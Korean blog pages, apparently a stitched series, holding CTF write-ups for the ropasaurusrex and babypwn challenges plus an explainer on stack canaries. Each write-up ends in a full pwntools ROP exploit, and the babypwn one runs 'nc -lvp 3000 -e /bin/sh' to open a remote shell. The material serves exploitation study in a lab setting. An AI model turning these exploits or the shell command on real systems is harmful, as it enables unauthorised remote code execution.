file 명령어로 문제 파일을 확인하면 32비트 바이너리임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 확인하면 NX 보호기법만 적용되어 있는 것을 확인할 수 있다.

바이너리를 실행하면 입력을 받고, WIN을 출력해주는 것을 확인할 수 있다.

gdb로 함수 목록을 보면 main 함수도 없어서 당황했는데, ida로는 확인할 수 있었다.

main 함수를 보면 sub_80483F4() 함수를 호출하고, write 함수로 WIN을 출력하는 것을 확인할 수 있다.

sub_80483F4(); 함수를 확인하면 다음과 같다.

크기 136의 buf 변수를 선언하고 있고, read 함수에서 buf 변수에 입력을 받고 있다. 이때 0x100(256)크기 만큼 입력을 받고 있기 때문에 bof가 발생한다. 

 

rop 기법으로 system("/bin/sh")을 실행 시켜서 쉘을 실행 시켜야 할 것 같다. 

먼저 read 함수의 plt와 got, write 함수의 plt 주소를 찾아 read 함수의 got에 system 함수의 주소를 덮어야 한다. 사용할 함수들의 plt와 got는 pwntools의 plt와 got 기능을 이용하여 구할 수 있다.

그리고 read 함수와 system 함수의 offset은 다음과 같이 구할 수 있다.

read 함수와 write 함수는 인자가 3개이기 때문에 계속 호출하기 위한 pop pop pop ret gadget은 objdump -D ./ropasaurusrex | grep -B3 ret 명령으로 구할 수 있다.  

system 함수의 인자로 들어갈 /bin/sh 문자열이 저장될 공간은 readelf -S 명령으로 헤더에서 저장할 수 있는 공간을 찾을 수 있다.

이 바이너리의 경우 .dynamic에 /bin/sh 문자열을 저장하면 될 것 같다.

위에서 구한 정보들로 rop 익스 코드를 작성하면 다음과 같다.

from pwn import *

p = process("./ropasaurusrex")
e = ELF("./ropasaurusrex")

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
sys_offset = 0x9ae70
dy = 0x08049530
pppr = 0x080484b6
binsh = "/bin/sh\x00"

pay = "A" * 140
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(dy)
pay += p32(len(binsh))

pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)

pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(read_got)
pay += p32(len(binsh))

pay += p32(read_plt)
pay += "B" * 4
pay += p32(dy)

p.send(pay)
p.send(binsh)

read = p.recv(4)
sys = u32(read) - sys_offset

p.sendline(p32(sys))
p.interactive()

익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

스택 카나리는 함수의 프롤로그에서 스택 버퍼와 반환주소 사이에 임의의 값을 삽입하여 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법이다. 만약 카나리값의 변조가 확인되면 프로세스는 강제로 종료된다.

 

카나리 보호기법을 확인하기 위한 코드는 다음과 같다.

#include <stdio.h>

int main()
{
	char buf[8];
	read(0, buf, 32);
	return 0;
}

컴파일 할때 기본적으로 카나리 보호기법이 적용되며, -fno-stack-protector 옵션을 적용해야 카나리 없이 컴파일을 할 수 있다.

카나리 보호기법이 적용된 바이너리와 적용되지 않은 바이너리에 긴 입력값을 주었을 때의 결과는 다음과 같다.

gdb로 main 함수를 비교하면 다음과 같다.

오른쪽이 카나리 보호기법을 적용한 바이너리의 main 함수이다. 

프롤로그 부분에서 다음의 코드가 추가되었고,

   0x000000000040059e <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004005a7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005ab <+21>:	xor    eax,eax

에필로그 부분에서 다음의 코드가 추가되었다.

   0x00000000004005cd <+55>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004005d1 <+59>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004005da <+68>:	je     0x4005e1 <main+75>
   0x00000000004005dc <+70>:	call   0x400460 <__stack_chk_fail@plt>

추가된 프롤로그(main+8)에 bp를 걸고 실행한 후 코드를 한 줄 실행하면 rax에 첫바이트가 널바이트인 8바이트 데이터가 적용되어 있는 것을 확인할 수 있다.

생성된 8바이트 데이터는 main+17줄의 코드에서 rbp-0x8의 위치에 저장된다.

이후 main+55에 bp를 걸고 실행하여 정상적인 입력값을 주게 되면 에필로그 부분에서 rbp-0x8에 저장된 카나리 값을 rcx로 옮기고 fs:0x28에 저장된 카나리와 xor 연산을 한다. 두 값이 동일하면 0이 나오므로 main+75로 점프하면서 프로그램이 정상 종료된다.

 

만약 긴 입력값이 들어가 카나리 값이 있는 rbp-0x8의 데이터가 변조되면 xor 연산에서 0이 아닌값이 나오므로 main+68의 __stack_chk_fail함수를 실행하며 프로세스가 강제로 종료된다.

 

문제 바이너리를 file 명령어로 확인하면 리눅스 32비트 바이너리임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 확인하면 canary와 nx가 적용되어 있는 것을 확인할 수 있다.

ida에서 헥스레이로 main 함수를 보면 다음과 같다.

8181번 포트로 소켓통신을 하는것을 확인할 수 있다.

문제 바이너리를 실행하고 nc로 8181번 포트에 접속해보면 다음과 같다.

main 함수에서 호출하고 있는 sub_8048B87() 함수를 확인하면 다음과 같다.

이 함수에서도 3개의 함수를 호출하고 있다. 이 중 sub_8048A71 함수를 확인하면 다음과 같다.

 이 함수에서 8181번 포트에 접속했을때 출력해주던 메뉴를 출력하는 것을 확인할 수 있고, 40크기의 v2를 선언하고 있다. 그리고 sub_8048907() 함수를 v2 와 100을 인자로 넣어서 호출하고 있다. 해당 함수를 확인하면 다음과 같다.

인자로 넣은 v2와 100을 a1, a2로 하여 recv 함수로 반환하고 있다.

recv함수는 소켓으로부터 데이터를 수신하며 인자는 순서대로 연결된 소켓 디스크립터, 수신한 데이터를 저장할 위치, 수신할 크기, flag 이다. flag 가 0이면 일반 데이터를 수신한다.

위 코드의 경우 v2(a1)의 크기는 40인데 수신하는 데이터 크기는 100이므로 bof가 발생한다.

 

먼저 canary 보호기법이 적용되어 있기 때문에 canary leak을 하고, nx보호기법이 적용되어 있기 때문에 ROP를 통해 쉘을 딸 수 있을 것 같다. 

canary값은 0x00으로 끝나기 때문에 v2의 크기에서 1을 더한 41바이트를 덮어서 canary값을 가져온후 0x00을 더해준다. 이를 수행하는 코드는 다음과 같다.

p.sendlineafter('> ', '1')
p.sendafter(': ', 'A' * 41)
p.recvuntil(pay)
cnry = u32('\x00' + p.recvn(3))

이제 ROP 공격을 하기 위해 가젯을 찾아야 하는데 recv함수를 이용하려면 인자를 4개를 넣어줘야하기 때문에 pop이 4개있는 가젯을 찾으면 다음과 같다.

또한 gdb의 info func 명령으로 함수 목록을 확인해보면 다음과 같이 system 함수가 있는것을 확인할 수 있다.

이 시스템 함수를 사용하여 명령어를 실행시킬 수 있다. 실행시킬 명령어는 서버에서 nc 서버를 열어 -e 옵션으로 /bin/sh를 실행시킬 것이다.

 

익스 코드는 다음과 같다.

from pwn import *

elf = ELF("./babypwn")
ppppr = 0x08048eec
recv_plt = elf.plt["recv"]
sys_plt = elf.plt["system"]
bss = elf.bss()
sh = "nc -lvp 3000 -e /bin/sh"

p = remote("localhost", 8181)

# Canary Leak
pay = 'A' * 41

p.sendlineafter('> ', '1')
p.sendafter(': ', 'A' * 41)
p.recvuntil(pay)
cnry = u32('\x00' + p.recvn(3))
print(hex(cnry))
p.close()

# ROP
p = remote("localhost", 8181)

p.sendlineafter("> ", "1")

pay = "A" * 40
pay += p32(cnry)
pay += "A" * 12
pay += p32(recv_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(bss)
pay += p32(len(sh))
pay += p32(0)

pay += p32(sys_plt)
pay += "A" * 4
pay += p32(bss)

p.sendlineafter(": ", pay)
p.sendlineafter("> ", "3")

sleep(1)
p.sendline(sh)

코드를 실행시키고 nc로 접속하면 다음과 같이 쉘이 따진것을 확인할 수 있다.

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

+ Recent posts